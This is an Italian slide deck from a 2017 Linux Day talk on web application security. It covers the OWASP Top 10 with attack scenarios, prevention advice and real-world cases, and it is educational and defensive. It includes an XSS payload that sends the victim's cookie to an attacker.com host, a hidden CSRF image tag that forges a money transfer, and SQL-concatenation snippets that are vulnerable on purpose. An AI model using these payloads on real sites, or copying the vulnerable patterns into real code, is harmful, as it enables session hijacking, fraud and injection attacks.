Sicurezza nelle applicazioni web - attacchi e rischi

SICUREZZA NELLE APPLICAZIONI
WEB - ATTACCHI E RISCHI
spoiler: contiene meme e xkcd
Marino Di Clemente - @kernelfolla
28 Ottobre 2017 - Linux day - Barletta

COSA È PIÙ COMPLESSO?
AUTO ASCENSORE ECOMMERCE
COSA È PIÙ COMPLICATO?
COSA È PIÙ SICURO?
COSA È PIÙ RISCHIOSO?

COMPLESSITÀ
• Etimologia: (latino) cum plècto (con intrecci)
• ha origine dall’intreccio di elementi che interagiscono fra loro, creando
disordine e provocando incertezza. E’ difﬁcile individuare e gestire
tutte le variabili in gioco, così come è sostanzialmente impossibile
prevederne gli sviluppi. Un problema che deﬁniamo complesso non
presenta una soluzione univoca.
• Studiato/analizzato tipicamente attraverso rigorose metodologie di indagine
di tipo “olistico” ovvero come computazione "in toto" dei comportamenti
dei singoli sottosistemi assieme alle loro reciproche interazioni

• "Una goccia d'acqua che si spande nell'acqua, le ﬂuttuazioni delle
popolazioni animali, la linea frastagliata di una costa, I ritmi della
ﬁbrillazione cardiaca, l'evoluzione delle condizioni meteorologiche,
la forma delle nubi, la grande macchia rossa di Giove, gli errori dei
computer, le oscillazioni dei prezzi sono fenomeni apparentemente
assai diversi, che possono suscitare la curiosità di un bambino o
impegnare per anni uno studioso, con un solo tratto in comune: per
la scienza tradizionale, appartengono al regno dell'informe,
dell'imprevedibile dell'irregolare. In una parola al caos. Ma da due
decenni, scienziati di diverse discipline stanno scoprendo che dietro
il caos c'è in realtà un ordine nascosto, che dà origine a fenomeni
estremamente complessi a partire da regole molto semplici." 
 
(2011 J.Gleick, pioniere di una nuova scienza, Chaos)

COMPLICATO
• Etimologia: (latino) cum plico (con pieghe)
• Che presenta difﬁcoltà per la comprensione o l'orientamento, dovute a
profondità od oscurità di concetti oppure a una molteplicità di elementi o
di aspetti.
• Complicato è un sistema in cui le variabili sono molte, ma tutte evidenti e
tutte predicibili.
• Studiato/analizzato tipicamente attraverso metodologie di tipo
“riduzionistico” ovvero tramite la riduzione di enti metodologie e
concetti al minimo sufﬁciente per spiegare i fatti della teoria in questione

4 x 10^19 combinazioni possibili, risolvibile sempre in max 20 mosse

SICUREZZA
• Etimologia: (latino) sine cura (senza preoccupazione)
• Conoscenza che l'evoluzione di un sistema non produrrà stati
indesiderati.
• Safety: (dal latino “salvo”) previsione di incidenti che accadono
involontariamente, eventi accidentali, soggettivo, senza pericoli
• Security: previsione di episodi spiacevoli che vengono causati
volontariamente, eventi indesiderati, oggettivo, senza paure

RISCHIO
• Etimologia: (arabo) rizq (il sostentamento necessario per vivere, i mezzi di
sussistenza, provvidenza, pane quotidiano, beneficio)
• Eventualità di subire un danno connessa a circostanze più o meno prevedibili
• Il rischio è la potenzialità che un'azione o un'attività scelta (includendo la scelta di non agire)
porti a una perdita o ad un evento indesiderabile. La nozione implica che una scelta influenzi il
risultato. Le stesse perdite potenziali possono anche essere chiamate “rischi”.
• R = P x D prodotto tra i due fattori P e D dove P è la probabilità che si verifichi l'evento
dannoso preso in esame e D è il danno massimo ipotizzabile che lo stesso evento può causare.
• Una volta definito concettualmente e caratterizzato matematicamente il rischio, è possibile
delineare e pianificare una serie di misure di prevenzione e protezione volte alla sua riduzione e
al controllo della sua componente residua.

SICUREZZA INFORMATICA
• Computer Security === Cybersecurity === InfoSec === IT Security === …
• Analisi (prevenzione e protezione) delle minacce, delle vulnerabilità e del rischio
associato agli asset informatici, al fine di proteggerli da possibili attacchi (interni o
esterni) che potrebbero provocare danni diretti o indiretti di impatto superiore ad
una determinata soglia di tollerabilità.
• safe non interrompe/modifica altri sistemi né ruba informazioni dall’utente. Esegue
anche esattamente e solo ciò che è inteso fare, senza ulteriori scopi nascosti.
• secure non può (o meglio è molto difficile) essere eluso. Garantisce anche (o
cerca di) che solo gli utenti autorizzati a fare certe cose sono in grado di farlo,
mentre gli altri sono limitati alle sole azioni consentite.

KEY CONCEPTS
• Riservatezza(Conﬁdentiality):  
capacità di mantenere la proprietà dell’ informazione
• Integrità(Integrity):  
capacità di mantenere la precisione e la completezza dell’informazione
• Disponibilità(Availability):  
capacità di offrire l’informazione quando necessario
• Non ripudiabilità(non repudiation): 
capacità di garantire l’autenticità dell’informazione

OWASP
• L'Open Web Application Security Project (chiamato semplicemente
OWASP), è un progetto open-source per la sicurezza delle applicazioni. Fu
avviato il 9 settembre 2001 da Mark Curphey, Dennis Groves e Jeremiah
Grossman. L'OWASP offre anche guide con consigli sulla creazione di
applicazioni Internet sicure, e indicazioni per i test a cui andrebbero
sottoposte. È stato anche pubblicato un WebGoat, un progetto che insegna
sicurezza sulle applicazioni web.
• Nel 2004 fu istituita una fondazione no-proﬁt che supporta l'OWASP, che
persegue l'obiettivo di aumentare la sicurezza delle applicazioni consentendo
di prendere le decisioni in base ai rischi. In Europa è un'organizzazione no-
proﬁt registrata a partire da giugno 2011; è presente anche in Italia.

A10-UNDERPROTECTED APIS 
ATTACCHI
• L'API di autenticazione richiede il numero di account utente
insieme al nome utente e alla password. L'attaccante invia
credenziali legittime, ma un numero di account di un altro
utente, ottenendo pieno accesso all'account di altri utenti.
• L'API accetta i messaggi JSON che contengono un campo
"transactionid". L'API analizza questo valore "transactionid"
come una stringa e lo concatena in una query SQL, senza
fare "escape". Siamo di fronte a un SQL Injection via API.

PREVENZIONE
• 1.Assicurati di aver protetto le comunicazioni tra il client e le API.
• 2.Assicurati di avere uno schema di autenticazione per le API e che tutte le
credenziali, le chiavi e i token siano stati protetti.
• 3.Assicurati che qualunque formato di dati utilizzi le tue richieste, che la
conﬁgurazione del parser sia rafforzata contro l'attacco.
• 4. Implementa un sistema di controllo di accesso che protegge le API dall'essere
invocate in modo non corretto, incluse funzioni non autorizzate e riferimenti di dati.
• 5. Proteggiti da SQL/Code injection, in quanto questi attacchi sono altrettanto validi
per le API come per le applicazioni normali.

CASI REALI
• https://www.andreascarpino.it/posts/how-my-car-
insurance-exposed-my-position.html

LAVERA CAUSA

A9-USING COMPONENTS WITH
KNOWNVULNERABILITIES 
ATTACCHI
• Ogni giorno vengono scoperte nuove vulnerabilità
• Zero day
• Ci sono software/librerie con più o meno attacchi
a disposizione, è possibile prevedere il veriﬁcarsi di
nuove vulnerabilità dal numero di vulnerabilità
scoperte nel tempo

PREVENZIONE
• La maggior parte dei componenti non corregge le vulnerabilità per le vecchie
versioni. Quindi l'unico modo per risolvere il problema è l'aggiornamento alla
versione successiva, che può richiedere altre modiﬁche di codice. I progetti software
dovrebbero avere un processo per: 
 
1.Aggiornare continuamente le versioni dei componenti lato client e server e delle
loro dipendenze utilizzando strumenti di versioning e package management. 
 
2. Monitorare continuamente le sorgenti per le vulnerabilità dei componenti. Utilizza
tool di "software composition analysis" per automatizzare il processo (WPScan).
• Inoltre bisogna fare attenzione a scegliere cosa usare e dove possibile veriﬁcare
l’integrità

CASI REALI / LINK UTILI
• https://www.cvedetails.com/vulnerability-list/vendor_id-2337/
product_id-4096/
• https://www.bleepingcomputer.com/news/security/ten-malicious-
libraries-found-on-pypi-python-package-index/
• https://security.sensiolabs.org/check
• https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
• #hack5stelle

LAVERA CAUSA

A8-CROSS SITE REQUEST FORGERY(CSRF) 
ATTACCHI
• L'applicazione consente a un utente di inviare una richiesta di modiﬁca dello stato che non
include nulla di segreto. Per esempio: 
http://example.com/app/transferFunds?
amount=1500&destinationAccount=4673243243
• Quindi, l'attaccante costruisce una richiesta che trasferirà denaro dall'account della vittima
all'account dell'attaccante e incorpora l'attacco in una richiesta di immagine o iframe
memorizzata in vari siti sotto il controllo dell'attaccante: 
<img src = "http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#" width = "0" height =
"0" />
• Se la vittima visita uno dei siti dell'attaccante già autenticati a example.com, queste richieste
forgiate includono automaticamente le informazioni sulla sessione dell'utente, che autorizzano la
richiesta dell'attaccante.

• la prevenzione di CSRF richiede solitamente l'inclusione di un token imprevedibile in ogni
richiesta HTTP.
• Questi token dovrebbero, perlomeno, essere unici per sessione utente.
• L'opzione preferita è quella di includere il token unico in un campo nascosto. Questo
include il valore nel corpo della richiesta HTTP, evitando l'esposizione nell'URL.
• Il token unico può anche essere incluso nell'URL o in un parametro.Tuttavia, questo
comporta il rischio che il token sia esposto ad un aggressore.
• Prendi in considerazione l'utilizzo del ﬂag "SameSite=strict" su tutti i cookie, che viene
sempre più supportata nei browser.
• Oppure usa un framework/libreria che fa già tutto questo
PREVENZIONE

• CSRF vulnerabilities have been known and in some cases exploited since 2001 Because it is carried
out from the user's IP address, some website logs might not have evidence of CSRF. Exploits are
under-reported, at least publicly, and as of 2007 there are few well-documented examples:
• The Netﬂix website in 2006 had numerous vulnerabilities to CSRF, which could have allowed an
attacker to perform actions such as adding a DVD to the victim's rental queue, changing the
shipping address on the account, or altering the victim's login credentials to fully compromise the
account.
• The online banking web application of ING Direct was vulnerable to a CSRF attack that allowed
illicit money transfers.
• Popular video websiteYouTube was also vulnerable to CSRF in 2008 and this allowed any attacker
to perform nearly all actions of any user.
• McAfee was also vulnerable to CSRF and it allowed attackers to change their company system.
fonte: wikipedia (en)
CASI REALI

A7-INSUFFICIENT ATTACK PROTECTION 
ATTACCHI
• L’attaccante utilizza uno strumento automatico per rilevare le vulnerabilità e eventualmente sfruttarle.
Il rilevamento degli attacchi dovrebbe riconoscere che l'applicazione è mirata a richieste insolite e ad
alto volume. Le scansioni automatizzate devono essere facilmente distinguibili dal traffico normale.
• Un esperto umano di attacchi sonda accuratamente per potenziali vulnerabilità, al fine di trovare un
errore.
• Mentre è più difficile da rilevare, questo attacco comporta ancora richieste che un utente normale
non invierebbe mai, ad esempio l'ingresso non consentito dall'interfaccia utente. Il monitoraggio di
questo aggressore può richiedere di costruire un caso nel tempo che dimostri intenzioni dannose.
• L'attaccante inizia a sfruttare una vulnerabilità nell'applicazione che la protezione corrente di attacco
non riesce a rilevare/bloccare.
• Quanto velocemente puoi distribuire una patch reale o virtuale per bloccare lo sfruttamento
continuo di questa vulnerabilità?

PREVENZIONE
• Detect: è successo qualcosa che è impossibile per gli utenti legittimi da causare (ad esempio, un input che un client
legittimo non può generare)? L'applicazione viene utilizzata in un modo che un utente normale non avrebbe mai fatto (ad
esempio, tempo troppo alto, input atipico, modelli di utilizzo inusuali, richieste ripetute)?
• Rispondere agli attacchi: i registri e le notifiche sono fondamentali per una risposta tempestiva. Decidere se bloccare
automaticamente richieste, indirizzi IP o intervalli IP. Considerate la disattivazione o il monitoraggio degli account utente non
funzionanti.
• Patch Quick: Se il tuo processo di dev non può spingere le patch critiche in un giorno, distribuire una “virtual patch”
che analizza il traffico HTTP, il flusso di dati e / o l'esecuzione di codice e impedisce di sfruttare la vulnerabilità.
• protezione contro gli attacchi di password di forza bruta,
• registrazione di tentativi di accesso,
• registrazione dell'avvio o del completamento della sessione,
• registrazione di tentativi di manipolazione delle sessioni scadute ecc.
• ci sono cose dove SNORT o Fail2Ban non bastano perchè non analizzano dati “applicativi”

CASI REALI
• tutti i casi di brute force “moderni”
attraverso un sito web, ip differenti
stesso utente
• sql injection derivati da svariati
tentativi di utenti loggati da ip
differenti

LAVERA CAUSA

A6-SENSITIVE DATA EXPOSURE 
ATTACCHI
• un'applicazione cripta i numeri di carta di credito in un database che utilizza la crittografia
automatica del database.Tuttavia, questi dati vengono decriptati automaticamente quando
recuperati, consentendo a un errore di sql injection di recuperare i numeri di carta di credito in
testo chiaro. Le alternative includono la mancata memorizzazione di numeri di carte di credito,
utilizzando la tokenizzazione o utilizzando la crittografia a chiave pubblica.
• un sito non utilizza semplicementeTLS per tutte le pagine autenticate. Un aggressore monitora
semplicemente il traffico di rete (come una rete wireless aperta) e ruba il cookie della sessione
dell'utente. L'utente malintenzionato sostituisce quindi questo cookie e perda la sessione
dell'utente, accedendo ai dati privati dell'utente.
• il database delle password utilizza gli “hash non salted” per memorizzare le password di
tutti. Un errore di caricamento di file consente a un utente malintenzionato di recuperare il
database delle password.Tutti gli “hash non salted” possono essere esposti con una
rainbow table di chiavi hash precalcolate.

PREVENZIONE
• Considerando le minacce che intendi proteggere questi dati da (ad esempio, attacchi di tipo
interno, utente esterno), assicurati di criptare “bene” tutti i dati sensibili durante il riposo e
il transito in modo da proteggere da queste minacce.
• Non memorizzare in modo inutile dati sensibili. Scartali appena possibile. I dati non
conservati non possono essere rubati. Se proprio dovete conservarli, adottate politiche per
ridurre i danni in caso di furto
• Assicurati che siano utilizzati algoritmi standard e forti.
• Assicurati che le password siano memorizzate con un algoritmo speciﬁcamente progettato
per la protezione tramite password, come bcrypt, PBKDF2, o scrypt.
• Disattiva l'autocompletamento su moduli che richiedono dati sensibili e disabilita la
memorizzazione nella cache per le pagine contenenti dati sensibili.

CASI REALI
• YAHOO, LinkedIn,Verizon,Accenture, Equifax
• parola chiave data breach

CASI REALI

LAVERA CAUSA

A5-SECURITY MISCONFIGURATION
ATTACCHI
• la console di amministrazione dell'app server dell'applicazione viene installata automaticamente e non
viene rimossa. Gli account predefiniti non vengono modificati. L'attaccante scopre che le pagine
standard dell'amministratore sono sul tuo server, accede con password predefinite e riprende.
• l'elenco delle directory non è disabilitato sul tuo server web. Un aggressore scopre di poter
semplicemente elencare le directory per trovare qualsiasi file. L'attaccante trova e scarica tutte le
classi Java compilate, che decompilano e invertire l'ingegnere per ottenere tutto il codice
personalizzato. L'attaccante trova quindi un grave difetto di controllo di accesso nella tua applicazione.
• la configurazione del server di applicazioni consente di restituire le tracce di stack agli utenti,
potenzialmente esponendo i difetti sottostanti, ad esempio le versioni framework notoriamente note.
• Il server di applicazioni viene fornito con applicazioni di esempio non rimosse dal server di
produzione. Queste applicazioni del campione hanno ben noti difetti di sicurezza che gli attaccanti
possono utilizzare per compromettere il server.

PREVENZIONE
• Un processo di hardening ripetibile che lo rende veloce e facile implementare un altro ambiente
che è correttamente bloccato.Tutti gli ambienti di sviluppo, QA e produzione devono essere
configurati in modo identico (con diverse password utilizzate in ogni ambiente). Questo
processo dovrebbe essere automatizzato per ridurre al minimo lo sforzo necessario per
configurare un nuovo ambiente protetto. (docker ansible capistrano ecc..)
• Un processo per tenere aggiornati e distribuire tutti i nuovi aggiornamenti software e patch in
modo tempestivo per ogni ambiente distribuito. Questo processo deve includere tutti i
componenti e le librerie (docker ansible capistrano ecc..)
• Una forte architettura delle applicazioni che fornisce una separazione efficace e sicura tra i
componenti. (docker ansible capistrano ecc..)
• Un processo automatizzato per verificare che le configurazioni e le impostazioni siano
configurate correttamente in tutti gli ambienti (docker ansible capistrano ecc..)

CASI REALI
• https://www.itnews.com.au/news/accenture-left-
exposed-by-misconﬁgured-aws-storage-475124

LAVERA CAUSA

A4-BROKEN ACCESS CONTROL
ATTACCHI
• l'applicazione utilizza dati non verificati in una chiamata SQL che accede alle informazioni dell’account: 
 
pstmt.setString(1, request.getParameter("acct")); 
ResultSet results = pstmt.executeQuery( ); 
 
Un utente malintenzionato modifica semplicemente il parametro 'acct' nel browser per inviare qualunque numero
di conto desideri. Se non è correttamente verificato, l'attaccante può accedere a qualsiasi account utente. 
 
http://example.com/app/accountInfo?acct=notmyacct
• un utente malintenzionato inizia semplicemente a esplorare gli URL di destinazione. I diritti di amministratore sono
inoltre necessari per accedere alla pagina amministratore. 
www.example.com/ 
www.example.com/wp-admin 
www.example.com/admin/users 
Se un utente non autenticato può accedere a una pagina, è un difetto.  
Se un non amministratore può accedere alla pagina amministratore, questo è anche un difetto.

PREVENZIONE
• Controllare l'accesso. Ogni utilizzo di un riferimento diretto da una fonte non
attendibile deve includere un “access control check” per assicurarsi che
l'utente sia autorizzato per la risorsa richiesta.
• Utilizza riferimenti di oggetti indiretti per utente o di sessione.
Questo modello di codifica impedisce agli attaccanti di indirizzare direttamente
risorse non autorizzate.Ad esempio, invece di utilizzare la chiave del database della
risorsa, un elenco a discesa di sei risorse autorizzate per l'utente corrente potrebbe
utilizzare i numeri da 1 a 6 per indicare quale valore l'utente ha selezionato.
• Verifica automatizzata. Sfrutta l'automazione per verificare la corretta
distribuzione dell'autorizzazione. Questo è spesso personalizzato.

CASI REALI
• http://www.corriere.it/politica/
17_settembre_25/buco-sistema-
fatture-elettroniche-online-indagano-
garante-vigilanza-4d5e454e-
a14f-11e7-97ce-75ed55d84d04.shtml

MEDAGLIA DI BRONZO
EX MEDAGLIA D’ORO

A3-CROSS-SITE SCRIPTING (XSS)
ATTACCHI
• L’applicazione usa dati nella realizzazione di questo snippet html, senza validazione o escaping: 
 
(String) page += "<input name='cc' type='TEXT' 
value='" + request.getParameter("cc") + "'>"; 
 
l’attaccante invia come campo carta di credito questo codice 
 
'><script>document.location= 
'http://www.attacker.com/cgi-bin/cookie.cgi? 
foo='+document.cookie</script>'. 
 
Questo attacco provoca l'invio della ID sessione della vittima sul sito web dell'attaccante,
consentendo all'attaccante di sbaragliare la sessione corrente dell'utente. Si noti che gli attaccanti
possono anche utilizzare XSS per sconﬁggere qualsiasi difesa CSRF automatizzata che l'applicazione
potrebbe utilizzare.

PREVENZIONE

LAVERA CAUSA

A2-BROKEN AUTHENTICATION AND
SESSION MANAGEMENT
ATTACCHI
• L'applicazione di prenotazione aerea supporta la riscrittura dell'URL, inserendo gli ID di sessione
nell'URL: 
http://example.com/sale/saleitems?sessionid=26854454&dest=Hawaii 
 
Un utente autenticato del sito vuole lasciare che i propri amici conoscano la vendita. L'utente esegue
e-mail il collegamento di cui sopra senza sapere che stanno dando anche via il loro ID di sessione.
Quando gli amici utilizzano il collegamento utilizzano la sessione dell'utente e la carta di credito.
• gli orari dell'applicazione non sono impostati correttamente. L'utente utilizza un computer pubblico
per accedere al sito. Invece di selezionare "logout" l'utente chiude semplicemente la scheda del
browser e si allontana. Un utente malintenzionato utilizza lo stesso browser un'ora dopo, e quel
browser è ancora autenticato.
• un insider o un attaccante esterno ha accesso al database di password del sistema.  
Le password utente non vengono hashate correttamente, esponendo la password di ogni utente.

SESSION MANAGEMENT
PREVENZIONE
• singolo insieme di controlli di autenticazione e controlli di sessione.  
Tali controlli dovrebbero cercare di: 
- soddisfare tutti i requisiti di autenticazione e gestione della sessione
deﬁniti nelle areeVW (ASVS)V2 (Authentication) eV3 (Gestione
sessioni) di OWASP. 
- avere una semplice interfaccia per gli sviluppatori.
• evitare errori XSS che possono essere usati per rubare ID di sessione
• usare framework o librerie “sicure” per l’autenticazione, il fai da te non
è ammesso

• https://it.wikipedia.org/wiki/Heartbleed
• https://en.wikipedia.org/wiki/Cloudbleed
• https://www.eff.org/deeplinks/2017/10/krack-
vulnerability-what-you-need-know
SESSION MANAGEMENT
CASI REALI

SESSION MANAGEMENT
LAVERA CAUSA

SESSION MANAGEMENT
LA REALTÀ

STA PER COMPIERE 20 ANNI
MEDAGLIA D’ORO DA 8 ANNI 
VINCITORE INDISCUSSO

A-I-INJECTION 
ATTACCO
String query = "SELECT * FROM
accounts WHERE custID='" +
request.getParameter("id") + "'";

SPECIAL GUEST 
HUMAN HACKING
• Social Engineering
• Bias Cognitivi
• http://www.ilfattoquotidiano.it/2017/10/01/truffe-
online-il-mistero-dei-500mila-euro-persi-da-
conﬁndustria/3888178/

Sicurezza nelle applicazioni web - attacchi e rischi

Recommended

Recommended

More Related Content

Similar to Sicurezza nelle applicazioni web - attacchi e rischi

Similar to Sicurezza nelle applicazioni web - attacchi e rischi (20)

Sicurezza nelle applicazioni web - attacchi e rischi